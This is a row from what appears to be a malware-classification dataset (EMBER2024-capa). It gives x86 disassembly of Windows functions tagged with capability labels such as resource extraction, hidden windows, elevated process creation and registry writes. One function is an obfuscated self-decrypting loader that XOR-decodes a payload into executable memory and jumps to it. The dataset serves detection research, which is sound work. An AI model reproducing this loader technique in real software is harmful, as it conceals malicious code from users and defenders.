joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c6c70
Capabilities:
Extract resource via kernel32 functions
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x5bfbf8
push 0x520ce0
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x5cc128]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x28], ecx
xor eax, eax
mov dword [ebp - 0x1c], eax
xor esi, esi
xor edi, edi
mov dword [ebp - 0x20], edi
xor ebx, ebx
mov dword [ebp - 0x24], ebx
cmp dword [sym.imp.KERNEL32.dll_CreateFileW], eax
je 0x4c6cd5
cmp dword [sym.imp.KERNEL32.dll_CloseHandle], eax
je 0x4c6cd5
cmp dword [ebp + 8], 2
jae 0x4c6ce9
push 0x7a
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov dword [ebp - 0x2c], eax
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
je 0x4c6d52
push 0
push 0
push 0
push 0x1000002
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov edi, eax
mov dword [ebp - 0x20], edi
test edi, edi
je 0x4c6d52
push 0
push 0
push 0
push 4
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
mov dword [ebp - 0x24], ebx
xor eax, eax
test ebx, ebx
cmovne eax, ebx
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4c6e0b
push 0x10
push 1
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x4c6e09
push eax
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ecx, eax
test ecx, ecx
je 0x4c6e09
mov dword [ebp - 4], esi
movzx esi, word [ecx]
mov dword [ebp - 0x2c], esi
lea eax, [esi*2 + 4]
mov edx, dword [ebp + 8]
cmp eax, edx
jbe 0x4c6db4
mov esi, edx
shr esi, 1
sub esi, 4
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x1c], 1
jmp 0x4c6dbb
mov dword [ebp - 0x1c], 0
push esi
push ecx
push dword [ebp + 0xc]
call fcn.0051cc90
add esp, 0xc
mov eax, dword [ebp + 0xc]
mov dword [esi + eax], 0x58324546
cmp dword [ebp - 0x1c], 0
je 0x4c6ddb
mov word [eax], si
mov esi, 1
mov dword [ebp - 0x30], esi
mov dword [ebp - 4], 0xfffffffe
jmp 0x4c6e0b
xor esi, esi
test ebx, ebx
je 0x4c6e16
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x4c6e23
push edi
call ebx
mov eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x4c6e2e
push eax
call ebx
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4cb5e0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5810d9
mov eax, dword fs:[0]
push eax
sub esp, 0x34
push esi
push edi
mov eax, dword [0x5cc128]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
lea esi, [edi + 8]
mov dword [edi], vtable.CMessageCallbackSink_class_CHttpDownloader_.0
mov dword [ebp - 0x18], esi
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004ce590
mov dword [esi], eax
mov ecx, edi
mov dword [edi + 4], edi
mov dword [edi + 0x10], 0
call fcn.004ce790
lea eax, [edi + 0x14]
mov dword [ebp - 4], 0
xorps xmm0, xmm0
push 0
movups xmmword [eax], xmm0
push eax
movq qword [eax + 0x10], xmm0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
test eax, eax
jne 0x4cb67b
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x4cb673
movzx eax, ax
or eax, 0x80070000
test eax, eax
jns 0x4cb67b
push eax
call fcn.004079f0
mov byte [ebp - 4], 1
lea esi, [edi + 0x2c]
mov dword [ebp - 0x18], esi
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004cd8a0
mov dword [esi], eax
mov dword [edi + 0x34], vtable.ATL::CThreadPool_class_CHttpDownloader::CDownloadWorker__class_ATL::CRTThreadTraits__class_ATL::Win32WaitTraits_.0
xorps xmm0, xmm0
mov dword [edi + 0x38], 0
mov dword [edi + 0x3c], 0
mov dword [edi + 0x40], 0
mov dword [edi + 0x44], 0
movups xmmword [edi + 0x48], xmm0
movq qword [edi + 0x58], xmm0
mov dword [edi + 0x60], 0
mov dword [edi + 0x64], 0x8ca0
mov dword [edi + 0x68], 0
mov dword [edi + 0x6c], 0
mov dword [edi + 0x74], 0
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x1c]
mov dword [edi + 0x78], 0
push eax
lea ecx, [edi + 8]
mov dword [ebp - 0x10], 0x547
call fcn.004cecb0
mov eax, dword [ebp - 0x1c]
lea ecx, [edi + 8]
mov dword [eax + 0x14], 0x4cbdf0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x10], 0x548
push eax
call fcn.004cecb0
mov eax, dword [ebp - 0x1c]
xorps xmm0, xmm0
mov dword [eax + 0x14], 0x4cbdf0
lea eax, [ebp - 0x40]
push eax
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x20], 0
movups xmmword [ebp - 0x30], xmm0
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [ebp - 0x2c]
mov ecx, 1
test eax, eax
cmove eax, ecx
sub esp, 8
mov dword [ebp - 0x2c], eax
lea ecx, [edi + 0x34]
add eax, 2
push eax
push edi
call fcn.004cc500
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4cc440
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, ecx
cmp dword [edi + 0x40], 0
je 0x4cc4e0
lea eax, [edi + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp + 8]
test eax, eax
jne 0x4cc46a
mov eax, dword [edi + 0x30]
push eax
push 0
mov ecx, edi
call fcn.004ccbe0
mov esi, dword [edi + 0xc]
sub esi, 1
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
js 0x4cc4be
test esi, esi
js 0x4cc4e9
cmp esi, dword [edi + 0xc]
jge 0x4cc4e9
mov eax, dword [edi + 8]
mov ebx, dword [eax + esi*4]
lea eax, [esp + 0xc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [esp + 0xc], 0x103
jne 0x4cc4b0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
sub esi, 1
jns 0x4cc482
push dword [edi + 0x40]
call ebx
lea esi, [edi + 0x14]
mov dword [edi + 0x40], 0
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push dword [edi + 0x3c]
call ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0
push 0
push 1
push 0xc000008c
call dword [sym.imp.KERNEL32.dll_RaiseException]
Function at 0x4ce790
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x83c
mov eax, dword [0x5cc128]
xor eax, esp
mov dword [esp + 0x838], eax
push esi
mov esi, ecx
push dword [esi + 0x10]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x4ce86f
push 0x2c
push eax
lea eax, [esp + 0x14]
push eax
call fcn.0051d210
push 0x800
lea eax, [esp + 0x48]
mov dword [esp + 0x18], 0x30
push 0
push eax
mov dword [esp + 0x34], 0x400000
call fcn.0051d210
add esp, 0x18
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push str.Q360SoftMgrMsgDelegateWnd_d
lea eax, [esp + 0x40]
push 0x400
push eax
call fcn.004c0010
add esp, 0x10
mov dword [esp + 0x10], 0x4ceb90
lea eax, [esp + 0x38]
mov dword [esp + 0x30], eax
lea eax, [esp + 8]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
push 0
push dword [esp + 0x20]
push 0
push 0xfffffffffffffffd
push 0
push 0
push 0
push 0
push 0
push 0
push dword [esp + 0x58]
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
push eax
mov dword [esi + 0x10], eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4ce887
push esi
push 0xffffffffffffffeb
push dword [esi + 0x10]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0
push dword [esi + 0x10]
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, 1
pop esi
mov ecx, dword [esp + 0x838]
xor ecx, esp
call fcn.004f88bd
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x83c]
xor eax, eax
pop esi
xor ecx, esp
call fcn.004f88bd
mov esp, ebp
pop ebp
ret

Function at 0x4d02b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x858
mov eax, dword [0x5cc128]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test esi, esi
jne 0x4d02e7
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004f88bd
mov esp, ebp
pop ebp
ret 0x14
push 0x800
lea eax, [ebp - 0x804]
push 0
push eax
call fcn.0051d210
add esp, 0xc
lea eax, [ebp - 0x804]
test edi, edi
je 0x4d031a
push edi
push esi
push str._s__s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
jmp 0x4d032a
push esi
push 0x5a2b88
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x40
lea eax, [ebp - 0x854]
push 0
push eax
call fcn.0051d210
mov ax, word [ebp + 0x18]
add esp, 0xc
mov word [ebp - 0x828], ax
xorps xmm0, xmm0
lea eax, [ebp - 0x814]
mov dword [ebp - 0x858], 0x44
movups xmmword [ebp - 0x814], xmm0
push eax
lea eax, [ebp - 0x858]
mov dword [ebp - 0x82c], 1
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x804]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4d02d2
cmp dword [ebp + 0x10], 0
je 0x4d03b9
push dword [ebp + 0x14]
push dword [ebp - 0x814]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
push dword [ebp - 0x814]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x814]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x810]
call esi
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004f88bd
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4d03f0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x5cc128]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
test esi, esi
je 0x4d04bd
mov eax, dword [0x5a6e80]
xorps xmm0, xmm0
movups xmmword [ebp - 0x22], xmm0
push 0x38
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x5c]
movq qword [ebp - 0x12], xmm0
movq xmm0, qword [str.runas]
push 0
push eax
mov dword [ebp - 0xa], 0
mov word [ebp - 6], 0
movq qword [ebp - 0x24], xmm0
call fcn.0051d210
add esp, 0xc
mov dword [ebp - 0x60], 0x3c
lea eax, [ebp - 0x24]
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x60]
mov dword [ebp - 0x4c], ebx
push eax
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x5c], 0x40
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x4d04bd
cmp dword [ebp + 0x10], 0
je 0x4d049c
push dword [ebp + 0x14]
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004f88bd
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004f88bd
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4d6710
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x581fb4
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x5cc128]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [0x5d0dd0]
test esi, esi
jne 0x4d6775
push 0x140
call fcn.004f81ee
add esp, 4
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], esi
test eax, eax
je 0x4d6766
mov ecx, eax
call fcn.004d5fd0
mov esi, eax
jmp 0x4d6768
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [0x5d0dd0], esi
push dword [esi + 0x38]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x4d6832
push 1
mov ecx, esi
call fcn.00429b40
push 0xc0
call fcn.004f81ee
add esp, 4
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 1
test eax, eax
je 0x4d67b5
mov ecx, eax
call fcn.0041eb30
mov edi, eax
jmp 0x4d67b7
xor edi, edi
push 3
push 0x83
mov ecx, edi
mov dword [ebp - 4], 0xffffffff
call fcn.0041e800
push 2
mov ecx, edi
call fcn.0041fa00
movaps xmm0, xmmword [0x5890c0]
sub esp, 0x10
mov eax, esp
mov ecx, edi
movups xmmword [eax], xmm0
call fcn.0041fb50
push edi
mov ecx, esi
call fcn.00429b60
push 0
mov ecx, esi
call fcn.00428170
movaps xmm0, xmmword [0x5890d0]
push 0
push ecx
mov eax, esp
push 0x40000
push SysReAllocString
push 0x5a2bd0
push ecx
mov dword [eax], 0
lea ecx, [ebp - 0x20]
mov eax, esp
movups xmmword [ebp - 0x20], xmm0
push 0
mov dword [eax], ecx
mov ecx, esi
call fcn.004268f0
push 1
push dword [esi + 0x38]
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, esi
call fcn.00429cb0
push eax
call fcn.00482ec0
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004f88bd
mov esp, ebp
pop ebp
ret
Function at 0x4da1b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x582526
mov eax, dword fs:[0]
push eax
sub esp, 0x424
mov eax, dword [0x5cc128]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x430], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], 0
mov dword [ebp - 0x418], 0
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push 0x60
push 0
push esi
mov byte [ebp - 4], 1
call ebx
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x4da25c
push 2
push eax
push esi
call ebx
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x4da25c
call fcn.00465090
mov esi, eax
jmp 0x4da34c
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x4da27f
call fcn.00465090
jmp 0x4da33f
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
mov dword [ebp - 0x420], ebx
test ebx, ebx
jne 0x4da29d
call fcn.00465090
jmp 0x4da33f
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov dword [ebp - 0x41c], esi
lea eax, [esi + 1]
cmp eax, esi
jae 0x4da2be
mov esi, 0x8007000e
jmp 0x4da341
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.004d90b0
jmp 0x4da2e8
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
jne 0x4da2ff
mov esi, 0x8007000e
jmp 0x4da341
push esi
push dword [ebp - 0x418]
push esi
push ebx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
jne 0x4da31f
call fcn.00465090
jmp 0x4da33f
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x42c]
push dword [ebp - 0x418]
call fcn.004da050
mov esi, eax
test edi, edi
je 0x4da34c
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x4da370
lea ecx, [ebp - 0x418]
call fcn.004d9610
nop word [eax + eax]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004f88bd
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4db780
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
test ebx, ebx
jne 0x4db799
lea eax, [ebx + 0xd]
pop ebx
mov esp, ebp
pop ebp
ret 8
push esi
push edi
xor esi, esi
mov edx, ebx
nop
mov eax, edx
lea edi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4db7a5
sub eax, edi
sar eax, 1
lea ecx, [eax + 1]
lea edx, [edx + ecx*2]
lea esi, [esi + ecx*2]
cmp ecx, 1
jne 0x4db7a0
mov eax, dword [ebp - 4]
push esi
push ebx
push 7
push 0
push dword [ebp + 8]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4fca73
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x55d5bd
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0055d1c2

Function at 0x55d5c8
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0055d343

Function at 0x5668fe
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.005660d8

Function at 0x566909
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00566313

Function at 0x566d75
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00566afc
Function at 0x1003cd42
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10002ed4]
jne 0x1003dcc2
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x100ab6d0], eax
mov dword [0x100ab6cc], ecx
mov dword [0x100ab6c8], edx
mov dword [0x100ab6c4], ebx
mov dword [0x100ab6c0], esi
mov dword [0x100ab6bc], edi
mov word [0x100ab6e8], ss
mov word [0x100ab6dc], cs
mov word [0x100ab6b8], ds
mov word [0x100ab6b4], es
mov word [0x100ab6b0], fs
mov word [0x100ab6ac], gs
pushfd
pop dword [0x100ab6e0]
mov eax, dword [ebp]
mov dword [0x100ab6d4], eax
mov eax, dword [ebp + 4]
mov dword [0x100ab6d8], eax
lea eax, [ebp + 8]
mov dword [0x100ab6e4], eax
mov eax, dword [ebp - 0x320]
mov dword [0x100ab620], 0x10001
mov eax, dword [0x100ab6d8]
mov dword [0x100ab5d4], eax
mov dword [0x100ab5c8], 0xc0000409
mov dword [0x100ab5cc], 1
mov eax, dword [0x10002ed4]
mov dword [ebp - 0x328], eax
mov eax, dword [0x100a66f4]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x100ab618], eax
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x100030f4
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x100ab618], 0
jne 0x1003ddae
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret
Function at 0x10066708
Capabilities:
Delete directory

Disassembly:
push 0x10
mov eax, 0x1009ec1c
call fcn.1003d9e2
mov edi, ecx
mov dword [ebp - 0x10], edi
mov dword [edi], 0x1001c77c
mov dword [edi + 4], 0x1001d894
mov dword [edi + 0xc], 0x1001c78c
mov dword [edi + 0x10], 0x1001c7c8
xor ebx, ebx
mov dword [ebp - 4], 2
cmp dword [edi + 0x38], ebx
je 0x1006679c
lea eax, [edi + 0x1e8]
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
call fcn.10069288
mov esi, dword [ebp - 0x14]
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp esi, eax
je 0x10066770
push 0x326a6f78
call fcn.1007801a
cmp dword [edi + 0x208], ebx
je 0x10066782
push 0x326a6f79
call fcn.1007801a
cmp dword [edi + 0x204], ebx
je 0x10066794
push 0x326a6f7a
call fcn.1007801a
lea ecx, [ebp - 0x1c]
call fcn.1007e529
mov ecx, dword [edi + 0x14]
test ecx, ecx
je 0x100667ac
mov eax, dword [ecx]
push 1
call dword [eax]
mov dword [edi + 0x14], ebx
mov ecx, dword [edi + 0x18]
test ecx, ecx
je 0x100667bc
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [edi + 0x18], ebx
mov eax, dword [edi + 0x214]
cmp eax, 0xffffffff
je 0x100667d5
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
or dword [edi + 0x214], 0xffffffff
cmp dword [edi + 0x218], ebx
je 0x10066803
lea esi, [edi + 0x21c]
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
jne 0x100667f8
push 0x326a7030
call fcn.1007801a
xor eax, eax
mov word [esi], ax
mov dword [edi + 0x218], ebx
lea eax, [edi + 0x1e8]
push eax
call dword [sym.imp.kernel32.dll_DeleteCriticalSection]
lea ecx, [edi + 0x40]
call fcn.10064f06
or dword [ebp - 4], 0xffffffff
mov ecx, edi
call fcn.1004f259
call fcn.1003daba
ret
Function at 0x1007801a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x10078029
pop dword [ebp - 0x34]
mov eax, 0x2216cc00
add eax, 0xedf0b429
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x39664531
add dword [ebp - 0x44], 0x14ec001a
mov dword [ebp - 0x40], 0xab8599a4
sub dword [ebp - 0x40], 0x79524d5f
mov dword [ebp - 0x3c], 0x3f79360e
sub dword [ebp - 0x3c], 0xf32cf1e0
mov dword [ebp - 0x38], 0xb6c4105a
sub dword [ebp - 0x38], 0xb6c4105a
lea eax, [ebp - 0x44]
push eax
mov eax, 0x54eeadbb
sub eax, 0x44ee9c63
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x9ac8497f
sub dword [ebp - 0x44], 0x2655e029
mov dword [ebp - 0x40], 0x92f8f2c0
add dword [ebp - 0x40], 0xae736eb5
mov dword [ebp - 0x3c], 0xbe7504c1
add dword [ebp - 0x3c], 0xa4fa67ab
mov dword [ebp - 0x38], 0xb2de15da
sub dword [ebp - 0x38], 0xb2de15da
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0xb17f8a44
add eax, 0x5e808788
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x50aa9
push 0
call eax
mov ecx, 0x1fb361b7
add ecx, 0xe04ce4c3
mov ebx, eax
mov esi, 0x100b4600
add esi, dword [ebp - 0x34]
mov edi, 0x2b74478c
sub edi, 0xa0f88e9b
mov edx, dword [esi]
sub dword [ebp - 0xc], esi
xor edx, edi
sub dword [ebp - 4], ebx
mov dword [ebx], edx
xor dword [ebp - 0x14], 0xe0755277
add ebx, 4
add esi, 0xffe7d872
sub esi, 0xffe7d86e
loop 0x10078145
add eax, 0xf676eafe
sub eax, 0xf675de43
mov ebx, eax
add eax, 0x769d197c
sub eax, 0x769d1977
mov ecx, 0x10000000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x10098e80
Capabilities:
Terminate process

Disassembly:
push 0xc
mov eax, 0x1009f32b
call fcn.1003d9e2
mov edi, ecx
mov dword [ebp - 0x18], edi
xor edx, edx
mov dword [edi], edx
mov dword [ebp - 4], 1
cmp dword [ebp + 8], edx
je 0x10098f1d
mov esi, dword [ebp + 8]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
cmp ax, dx
jne 0x10098ea7
sub esi, ecx
sar esi, 1
inc esi
xor ecx, ecx
push 2
pop edx
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call sub.msvcr100.dll_void____cdecl_operator_new___unsigned_int_
pop ecx
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x10098eea
push 0x100a3d54
lea eax, [ebp + 8]
push eax
mov dword [ebp + 8], 0x8007000e
call sub.msvcr100.dll__CxxThrowException
lea ecx, [esi + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
ja 0x10098f0b
push 2
pop eax
push eax
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
push ecx
push dword [ebp + 8]
push eax
call sub.msvcr100.dll_memcpy
mov eax, dword [ebp - 0x10]
add esp, 0xc
mov dword [edi], eax
or dword [ebp - 4], 0xffffffff
mov eax, edi
call fcn.1003daba
ret 4